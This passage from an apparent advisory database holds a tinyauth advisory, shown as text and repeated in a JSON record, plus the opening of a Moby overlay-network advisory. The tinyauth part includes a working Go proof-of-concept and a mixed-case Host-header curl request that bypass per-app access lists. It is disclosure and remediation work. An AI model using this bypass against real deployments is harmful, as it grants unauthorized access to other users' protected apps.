return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true
}
if acls.Users.Block != "" { ... } // "" -> skipped
return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true
}
utils.CheckFilter returns true for an empty filter, so an empty users.allow means "everyone is allowed":
func CheckFilter(filter string, str string) bool {
if len(strings.TrimSpace(filter)) == 0 {
return true // empty allowlist -> allow all
}
...
}
The forwarded host is used verbatim: getForwardAuthContext reads x-forwarded-host, getAuthRequestContext parses x-original-url, getExtAuthzContext uses c.Request.Host — none of them lower-cases or canonicalizes the host before it reaches GetAccessControls.
Attacker model / precondition
The attacker is a legitimately authenticated but low-privileged user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply not on the users.allow / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.
Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (IMMICH.example.com for immich.example.com). Reverse proxies match Host rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in X-Forwarded-Host / X-Original-URL / Host. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (immich.example.com.) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → X-Forwarded-Host; nginx → X-Original-URL; Envoy → Host).
What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global oauth.whitelist used at login) are not affected because they run at login, not per-app.
Impact
Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by users.allow / users.block, oauth.groups, ldap.groups, or (for authenticated users) oauth.whitelist — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the Remote-User / Remote-Email headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.
Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the real ProxyController, AccessControlsService, and AuthService (the same wiring the project's own proxy_controller_test.go uses), configures one app immich restricted to user admin, and drives the real forward-auth endpoint as a logged-in non-admin user bob. It proves: (1) with the exact-case host, bob is correctly blocked (403); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (200) with Remote-User: bob — a cross-app authorization bypass.
Reproduce against the exact vulnerable tag:
git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth
cd tinyauth
# The repo embeds the built frontend at internal/assets/dist via //go:embed.
# For a backend-only PoC, create a one-file stub so the embed compiles:
mkdir -p internal/assets/dist
printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html
# Write the test file shown below to internal/controller/zzz_poc_test.go, then:
go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v
internal/controller/zzz_poc_test.go:
package controller_test
import (
"net/http/httptest"
"path"
"testing"
"github.com/gin-gonic/gin"
"github.com/steveiliop56/tinyauth/internal/bootstrap"
"github.com/steveiliop56/tinyauth/internal/config"
"github.com/steveiliop56/tinyauth/internal/controller"
"github.com/steveiliop56/tinyauth/internal/repository"
"github.com/steveiliop56/tinyauth/internal/service"
"github.com/steveiliop56/tinyauth/internal/utils/tlog"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched
// against the forwarded host with a case-SENSITIVE string comparison, while
// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in
// an app's users.allow list can reach the app anyway by varying the case of the
// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail
// open), and the forward-auth verdict becomes 200 "Authenticated".
func TestForwardAuthHostCaseACLBypass(t *testing.T) {
tlog.NewTestLogger().Init()
tempDir := t.TempDir()
// Force the docker label provider offline so an ACL miss deterministically
// yields the empty App() default (this is exactly what happens on any
// deployment whose ACLs live in the static `apps:` config, or whose docker
// socket holds no container matching the mixed-case host).
t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock")
authServiceCfg := service.AuthServiceConfig{
Users: []config.User{
{
Username: "admin",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
{
Username: "bob",
Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password
},
},
SessionExpiry: 10,
CookieDomain: "example.com",
LoginTimeout: 10,
LoginMaxRetries: 3,
SessionCookieName: "tinyauth-session",
}
controllerCfg := controller.ProxyControllerConfig{
AppURL: "https://tinyauth.example.com",
}
// The admin restricts the "immich" app to user "admin" only.
acls := map[string]config.App{
"immich": {
Config: config.AppConfig{
Domain: "immich.example.com",
},
Users: config.AppUsers{
Allow: "admin",
},
},
}
// bob is a legitimately-authenticated low-privileged user. He is NOT in
// immich's users.allow list.
bobCtx := func(c *gin.Context) {
c.Set("context", &config.UserContext{
Username: "bob",
Name: "Bob",
Email: "bob@example.com",
IsLoggedIn: true,
Provider: "local",
})
c.Next()
}
// Shared services (mirrors the project's own proxy_controller_test.go).
app := bootstrap.NewBootstrapApp(config.Config{})
db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db"))
require.NoError(t, err)
defer func() { _ = db.Close() }()
queries := repository.New(db)
docker := service.NewDockerService()
require.NoError(t, docker.Init())
ldap := service.NewLdapService(service.LdapServiceConfig{})
require.NoError(t, ldap.Init())
broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))
require.NoError(t, broker.Init())
authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)
require.NoError(t, authService.Init())
aclsService := service.NewAccessControlsService(docker, acls)
newRouter := func() *gin.Engine {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(bobCtx)
group := router.Group("/api")
pc := controller.NewProxyController(controllerCfg, group, aclsService, authService)
pc.SetupRoutes()
return router
}
forwardAuth := func(host string) *httptest.ResponseRecorder {
rec := httptest.NewRecorder()
req := httptest.NewRequest("GET", "/api/auth/traefik", nil)
req.Header.Set("x-forwarded-host", host)
req.Header.Set("x-forwarded-proto", "https")
req.Header.Set("x-forwarded-uri", "/")
newRouter().ServeHTTP(rec, req)
return rec
}
// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.
lower := forwardAuth("immich.example.com")
t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User"))
assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host")
// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),
// empty App fail-open -> 200 Authenticated + Remote-User leaks bob.
upper := forwardAuth("IMMICH.example.com")
t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User"))
require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL")
require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary")
}
Observed output (v5.0.7; trimmed to the two decisive log lines):
=== RUN TestForwardAuthHostCaseACLBypass
... access_controls_service.go: Found matching container by domain name=immich
... proxy_controller.go: User not allowed to access resource resource=immich user=bob
zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user=""
... access_controls_service.go: Falling back to Docker labels for ACLs
... docker_service.go: Docker not connected, returning empty labels
zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob"
--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)
PASS
ok github.com/steveiliop56/tinyauth/internal/controller 0.067s
The control request (immich.example.com) finds the ACL and correctly returns 403 for bob; the identical request with an upper-cased host (IMMICH.example.com) misses the ACL, falls back to the empty App, and returns 200 Authenticated with Remote-User: bob. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case Host header, e.g. curl -H 'Host: IMMICH.example.com' https://<proxy>/ with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.
Remediation
- Canonicalize the host before the ACL decision. Lower-case (and strip any trailing dot / port from) the forwarded host in
getForwardAuthContext/getAuthRequestContext/getExtAuthzContext, and store both the ACLappskeys and eachconfig.domain/ label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare withstrings.EqualFold. This closes the case, trailing-dot, and port-variant encodings in one place. - Fail closed on an ACL miss.
GetAccessControls/GetLabelsshould distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-allApp; it should apply a deny-by-default (or an explicit, documented default policy) rather than returningconfig.App{}, nil. Returning an all-emptyAppas the fallback is the fail-open that turns the lookup miss into an authorization bypass. - Add a regression test asserting that a user excluded by
users.allowis still403when the same host is supplied in mixed case, with a trailing dot, and with an added port.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tinyauthapp/tinyauth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1-0.20260720133915-80bc87188ec3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77560"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-636",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:37:08Z",
"nvd_published_at": "2026-09-21T17:18:52Z",
"severity": "HIGH"
},
"details": "# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for\n\n\n\n## GitHub Advisory Details (form fields \u2014 paste-ready)\n\n**Affected products**\n| Field | Value |\n|-------|-------|\n| Ecosystem | `Other (self-hosted)` / Go |\n| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |\n| Affected versions | `\u003c 5.1.2` |\n| Patched versions | `5.1.2` |\n\n**Advisory details**\n| Field | Value |\n|-------|-------|\n| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |\n\n- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)\n- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD\n- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)\n- **Class:** Broken access control / authorization bypass across the per-app trust boundary\n\n## Summary\n\ntinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/\u003cproxy\u003e` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set \u2014 the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.\n\nThe hostname \u2192 ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, \".\", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth\u0027s case-sensitive lookup **misses** the app\u0027s ACL entry.\n\nOn a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` \u2192 true, `CheckIP` (no allow/block) \u2192 allowed, `IsUserAllowed` with an empty `users.allow` \u2192 `CheckFilter(\"\", \u2026)` \u2192 **true**, and the group check with empty required groups \u2192 **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them \u2014 simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.\n\n## Affected code (v5.0.7, commit `479f1657\u2026`)\n\nThe ACL lookup uses case-sensitive equality \u2014 `internal/service/access_controls_service.go`:\n\n```go\nfunc (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {\n\tfor app, config := range acls.static {\n\t\tif config.Config.Domain == domain { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t\tif strings.SplitN(domain, \".\", 2)[0] == app { // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t}\n\treturn config.App{}, errors.New(\"no results\")\n}\n\nfunc (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {\n\tapp, err := acls.lookupStaticACLs(domain)\n\tif err == nil {\n\t\treturn app, nil\n\t}\n\t// Fallback to Docker labels\n\treturn acls.docker.GetLabels(domain)\n}\n```\n\nThe Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) \u2014 `internal/service/docker_service.go`:\n\n```go\nfunc (docker *DockerService) GetLabels(appDomain string) (config.App, error) {\n\tif !docker.isConnected {\n\t\treturn config.App{}, nil // \u003c-- empty App, no error\n\t}\n\t...\n\tfor _, ctr := range containers {\n\t\t...\n\t\tfor appName, appLabels := range labels.Apps {\n\t\t\tif appLabels.Config.Domain == appDomain { ... } // case-sensitive\n\t\t\tif strings.SplitN(appDomain, \".\", 2)[0] == appName { ... } // case-sensitive\n\t\t}\n\t}\n\treturn config.App{}, nil // \u003c-- no match -\u003e empty App, no error\n}\n```\n\nThe forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user \u2014 `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:\n\n```go\n// proxyHandler: host comes straight from X-Forwarded-Host, no normalization\nacls, err := controller.acls.GetAccessControls(proxyCtx.Host)\n...\nif userContext.IsLoggedIn {\n\tuserAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -\u003e true\n\t...\n\tc.Header(\"Remote-User\", utils.SanitizeHeader(userContext.Username))\n\tc.JSON(200, gin.H{\"status\": 200, \"message\": \"Authenticated\"})\n}\n\n// IsUserAllowed with an empty App:\nfunc (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {\n\tif context.OAuth {\n\t\treturn utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter(\"\", \u2026) == true\n\t}\n\tif acls.Users.Block != \"\" { ... } // \"\" -\u003e skipped\n\treturn utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter(\"\", \u2026) == true\n}\n```\n\n`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means \"everyone is allowed\":\n\n```go\nfunc CheckFilter(filter string, str string) bool {\n\tif len(strings.TrimSpace(filter)) == 0 {\n\t\treturn true // empty allowlist -\u003e allow all\n\t}\n\t...\n}\n```\n\nThe forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` \u2014 none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.\n\n## Attacker model / precondition\n\nThe attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance \u2014 they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.\n\nTrigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key \u2014 the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 \u00a73.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy \u2192 `X-Forwarded-Host`; nginx \u2192 `X-Original-URL`; Envoy \u2192 `Host`).\n\nWhat bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app\u0027s data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.\n\n## Impact\n\nAny authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` \u2014 none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product\u0027s core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project\u0027s own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` \u2014 a cross-app authorization bypass.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth\ncd tinyauth\n# The repo embeds the built frontend at internal/assets/dist via //go:embed.\n# For a backend-only PoC, create a one-file stub so the embed compiles:\nmkdir -p internal/assets/dist\nprintf \u0027\u003c!doctype html\u003e\u003ctitle\u003estub\u003c/title\u003e\u0027 \u003e internal/assets/dist/index.html\n# Write the test file shown below to internal/controller/zzz_poc_test.go, then:\ngo test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v\n```\n\n`internal/controller/zzz_poc_test.go`:\n\n```go\npackage controller_test\n\nimport (\n\t\"net/http/httptest\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/steveiliop56/tinyauth/internal/bootstrap\"\n\t\"github.com/steveiliop56/tinyauth/internal/config\"\n\t\"github.com/steveiliop56/tinyauth/internal/controller\"\n\t\"github.com/steveiliop56/tinyauth/internal/repository\"\n\t\"github.com/steveiliop56/tinyauth/internal/service\"\n\t\"github.com/steveiliop56/tinyauth/internal/utils/tlog\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched\n// against the forwarded host with a case-SENSITIVE string comparison, while\n// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in\n// an app\u0027s users.allow list can reach the app anyway by varying the case of the\n// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail\n// open), and the forward-auth verdict becomes 200 \"Authenticated\".\nfunc TestForwardAuthHostCaseACLBypass(t *testing.T) {\n\ttlog.NewTestLogger().Init()\n\ttempDir := t.TempDir()\n\n\t// Force the docker label provider offline so an ACL miss deterministically\n\t// yields the empty App() default (this is exactly what happens on any\n\t// deployment whose ACLs live in the static `apps:` config, or whose docker\n\t// socket holds no container matching the mixed-case host).\n\tt.Setenv(\"DOCKER_HOST\", \"unix:///nonexistent/docker.sock\")\n\n\tauthServiceCfg := service.AuthServiceConfig{\n\t\tUsers: []config.User{\n\t\t\t{\n\t\t\t\tUsername: \"admin\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t\t{\n\t\t\t\tUsername: \"bob\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t},\n\t\tSessionExpiry: 10,\n\t\tCookieDomain: \"example.com\",\n\t\tLoginTimeout: 10,\n\t\tLoginMaxRetries: 3,\n\t\tSessionCookieName: \"tinyauth-session\",\n\t}\n\n\tcontrollerCfg := controller.ProxyControllerConfig{\n\t\tAppURL: \"https://tinyauth.example.com\",\n\t}\n\n\t// The admin restricts the \"immich\" app to user \"admin\" only.\n\tacls := map[string]config.App{\n\t\t\"immich\": {\n\t\t\tConfig: config.AppConfig{\n\t\t\t\tDomain: \"immich.example.com\",\n\t\t\t},\n\t\t\tUsers: config.AppUsers{\n\t\t\t\tAllow: \"admin\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// bob is a legitimately-authenticated low-privileged user. He is NOT in\n\t// immich\u0027s users.allow list.\n\tbobCtx := func(c *gin.Context) {\n\t\tc.Set(\"context\", \u0026config.UserContext{\n\t\t\tUsername: \"bob\",\n\t\t\tName: \"Bob\",\n\t\t\tEmail: \"bob@example.com\",\n\t\t\tIsLoggedIn: true,\n\t\t\tProvider: \"local\",\n\t\t})\n\t\tc.Next()\n\t}\n\n\t// Shared services (mirrors the project\u0027s own proxy_controller_test.go).\n\tapp := bootstrap.NewBootstrapApp(config.Config{})\n\tdb, err := app.SetupDatabase(path.Join(tempDir, \"tinyauth.db\"))\n\trequire.NoError(t, err)\n\tdefer func() { _ = db.Close() }()\n\n\tqueries := repository.New(db)\n\n\tdocker := service.NewDockerService()\n\trequire.NoError(t, docker.Init())\n\n\tldap := service.NewLdapService(service.LdapServiceConfig{})\n\trequire.NoError(t, ldap.Init())\n\n\tbroker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))\n\trequire.NoError(t, broker.Init())\n\n\tauthService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)\n\trequire.NoError(t, authService.Init())\n\n\taclsService := service.NewAccessControlsService(docker, acls)\n\n\tnewRouter := func() *gin.Engine {\n\t\tgin.SetMode(gin.TestMode)\n\t\trouter := gin.New()\n\t\trouter.Use(bobCtx)\n\t\tgroup := router.Group(\"/api\")\n\t\tpc := controller.NewProxyController(controllerCfg, group, aclsService, authService)\n\t\tpc.SetupRoutes()\n\t\treturn router\n\t}\n\n\tforwardAuth := func(host string) *httptest.ResponseRecorder {\n\t\trec := httptest.NewRecorder()\n\t\treq := httptest.NewRequest(\"GET\", \"/api/auth/traefik\", nil)\n\t\treq.Header.Set(\"x-forwarded-host\", host)\n\t\treq.Header.Set(\"x-forwarded-proto\", \"https\")\n\t\treq.Header.Set(\"x-forwarded-uri\", \"/\")\n\t\tnewRouter().ServeHTTP(rec, req)\n\t\treturn rec\n\t}\n\n\t// 1. Control: exact-case host -\u003e ACL is found, bob is NOT in users.allow -\u003e 403.\n\tlower := forwardAuth(\"immich.example.com\")\n\tt.Logf(\"[control] x-forwarded-host=immich.example.com -\u003e %d remote-user=%q\", lower.Code, lower.Header().Get(\"Remote-User\"))\n\tassert.Equal(t, 403, lower.Code, \"boundary must block bob at the exact-case host\")\n\n\t// 2. Bypass: upper-case host -\u003e ACL lookup misses (case-sensitive ==),\n\t// empty App fail-open -\u003e 200 Authenticated + Remote-User leaks bob.\n\tupper := forwardAuth(\"IMMICH.example.com\")\n\tt.Logf(\"[BYPASS] x-forwarded-host=IMMICH.example.com -\u003e %d remote-user=%q\", upper.Code, upper.Header().Get(\"Remote-User\"))\n\n\trequire.Equalf(t, 200, upper.Code, \"expected the mixed-case host to bypass the users.allow ACL\")\n\trequire.Equalf(t, \"bob\", upper.Header().Get(\"Remote-User\"), \"tinyauth authorized bob for immich across the ACL boundary\")\n}\n```\n\nObserved output (v5.0.7; trimmed to the two decisive log lines):\n\n```text\n=== RUN TestForwardAuthHostCaseACLBypass\n... access_controls_service.go: Found matching container by domain name=immich\n... proxy_controller.go: User not allowed to access resource resource=immich user=bob\n zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -\u003e 403 remote-user=\"\"\n... access_controls_service.go: Falling back to Docker labels for ACLs\n... docker_service.go: Docker not connected, returning empty labels\n zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -\u003e 200 remote-user=\"bob\"\n--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)\nPASS\nok \tgithub.com/steveiliop56/tinyauth/internal/controller\t0.067s\n```\n\nThe control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H \u0027Host: IMMICH.example.com\u0027 https://\u003cproxy\u003e/` with bob\u0027s session cookie \u2014 the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.\n\n## Remediation\n\n- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.\n- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish \"no ACL configured for this host\" from \"empty ACL that allows everyone.\" When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.\n- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-328g-jx67-v94g",
"modified": "2026-09-22T20:37:08Z",
"published": "2026-09-22T20:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-328g-jx67-v94g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77560"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1000"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1028"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/80bc87188ec3aabc5104c249eaa7b997973b9275"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/e75605b2c534ec83525a33603e16d76baca13399"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinyauthapp/tinyauth"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for"
}
GHSA-33PG-M6JH-5237
Vulnerability from github – Published: 2023-04-04 21:12 – Updated: 2023-04-05 23:16Moby is an open source container framework developed by Docker Inc. that is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as moby/moby is commonly referred to as Docker.
Swarm Mode, which is compiled in and delivered by default in dockerd and is thus present in most major Moby downstreams, is a simple, built-in container orchestrator that is implemented through a combination of SwarmKit and supporting network code.
The overlay network driver is a core feature of Swarm Mode, providing isolated virtual LANs that allow communication between containers and services across the cluster. This driver is an implementation/user of VXLAN, which encapsulates link-layer (Ethernet) frames in UDP datagrams that tag the frame with a VXLAN Network ID (VNI) that identifies the originating overlay network. In addition, the overlay network driver supports an optional, off-by-default encrypted mode, which is especially useful when VXLAN packets traverses an untrusted network between nodes.
Encrypted overlay networks function by encapsulating the VXLAN datagrams through the use of the IPsec Encapsulating Security Payload protocol in Transport mode. By deploying IPSec encapsulation, encrypted overlay networks gain the additional properties of source authentication through cryptographic proof, data integrity through check-summing, and confidentiality through encryption.
When setting an endpoint up on an encrypted overlay network, Moby installs three iptables (Linux kernel firewall) rules that enforce both incoming and outgoing IPSec. These rules rely on the u32 iptables extension provided by the xt_u32 kernel module to directly filter on a VXLAN packet's VNI field, so that IPSec guarantees can be enforced on encrypted overlay networks without interfering with other overlay networks or other users of VXLAN.
An iptables rule designates outgoing VXLAN datagrams with a VNI that corresponds to an encrypted overlay network for IPsec encapsulation.
On Red Hat Enterprise Linux and derivatives such as CentOS and Rocky, the xt_u32 module has been:
* moved to the kernel-modules-extra package and no longer installed by default in RHEL 8.3
* officially deprecated in RHEL 8.6
* removed completely in RHEL 9
